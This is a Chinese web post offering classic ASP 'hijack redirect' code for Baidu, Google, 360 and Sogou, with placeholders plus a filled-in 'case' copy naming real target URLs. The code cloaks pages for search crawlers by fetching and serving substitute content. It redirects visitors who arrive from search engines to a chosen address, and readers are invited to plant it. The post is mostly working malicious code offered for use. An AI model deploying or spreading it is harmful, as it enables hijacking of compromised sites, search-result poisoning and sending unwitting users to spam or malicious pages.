【劫持跳转代码】能同时劫持百度、google、360、搜狗的代码
我在这里是在原来代码的基础上进行了修改,其实原理很简单,以前的只能劫持百度,现在的还能同时劫持更多,有兴趣的朋友可以去看看代码,里面的代码你们用的时候记得修改里面的位置,需要修改的地方,相信你们明白的,
——————在这里着重说下,转载文章没有问题,但是请尊重劳动人民的果实是吧————————
*****************************************************************************
<11111%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句
if instr(1,s_agent,"googlebot",1) >0 then
GetBot="google"
end if
if instr(1,s_agent,"msnbot",1) >0 then
GetBot="MSN"
end if
if instr(1,s_agent,"slurp",1) >0 then
GetBot="Yahoo"
end if
if instr(1,s_agent,"baiduspider",1) >0 then
GetBot="baidu"
end if
if instr(1,s_agent,"sohu-search",1) >0 then
GetBot="Sohu"
end if
if instr(1,s_agent,"sogou spider",1) >0 then
GetBot="Sogou"
end if
if instr(1,s_agent,"360Spider",1) >0 then
GetBot="so"
end if
if instr(1,s_agent,"lycos",1) >0 then
GetBot="Lycos"
end if
if instr(1,s_agent,"robozilla",1) >0 then
GetBot="Robozilla"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot="baidu" then
'给百度蜘蛛定制的内容
url="劫持地址"
'想要展示给蜘蛛的页面地址
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
elseif GetBot="sogou" then
'给google 蜘蛛定制的内容
url="劫持地址"
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.End
end if
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
'如果用户来自www.baidu.com
response.redirect("要跳转的目标地址")
'跳转指定地址
end if
if instr(Request.ServerVariables("http_referer"),"www.google.com.hk")>0 then
'如果用户来自www.google.com.hk
response.redirect("要跳转的目标地址")
'跳转指定地址
end if
if instr(Request.ServerVariables("http_referer"),"www.so.com")>0 then
'如果用户来自www.so.com
response.redirect("要跳转的目标地址")
'跳转指定地址
end if
if instr(Request.ServerVariables("http_referer"),"www.sogou.com")>0 then
'如果用户来自www.sogou.com
response.redirect("要跳转的目标地址")
'跳转指定地址
end If
if instr(Request.ServerVariables("http_referer"),"www.yahoo.com")>0 then
'如果用户来自www.sogou.com
response.redirect("要跳转的目标地址")
'跳转指定地址
end if
%>
*********************************************************************
对劫持感兴趣的朋友可以研究研究,,,,希望转载的朋友能保留转载地址,拜谢了
案例
<11111% function GetBot() ' dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") ' if instr(1,s_agent,"baiduspider",1) >0 then GetBot="baidu" end if if instr(1,s_agent,"sohu-search",1) >0 then GetBot="Sohu" end if if instr(1,s_agent,"lycos",1) >0 then GetBot="Lycos" end if if instr(1,s_agent,"robozilla",1) >0 then GetBot="Robozilla" end if end function Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312")'编码 End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim wstr,str,url,start,over,dtime if GetBot="baidu" then url="http://www.axibanjia.com/images/index.asp" wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end elseif GetBot="google" then ' url="http://www.hccbbs.com" wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end end if %>
辛苦整理@转载请注明:http://www.esw.net.cn/shownews.asp?id=326
更多关于网站建设推荐阅读:
在新标签页中跳转某个网页
ewebEditor限制下传100k的简单修改办法
企业邮箱在iPhone上使用的设置说明
|